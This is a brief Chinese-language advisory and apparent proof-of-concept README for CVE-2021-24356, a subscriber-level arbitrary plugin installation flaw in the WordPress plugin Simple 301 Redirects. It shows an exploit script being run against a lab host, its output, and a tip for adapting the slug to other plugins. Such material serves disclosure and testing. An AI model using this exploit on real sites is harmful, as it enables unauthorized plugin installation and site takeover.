Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - 订阅者 + 任意插件安装
该插件中的 AJAX 操作缺乏权限检查且 nonce 检查不充分,使得经过身份验证的用户可以在易受攻击的站点上安装任意插件。
$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}
注意:某些插件可能无法激活,如果不行,你需要将 sluga variable 更改为该插件主文件的路径/file.php。目前当 slug 类似 betterlinks 且插件主文件名为 betterlinks.php 时,此方法工作得很好。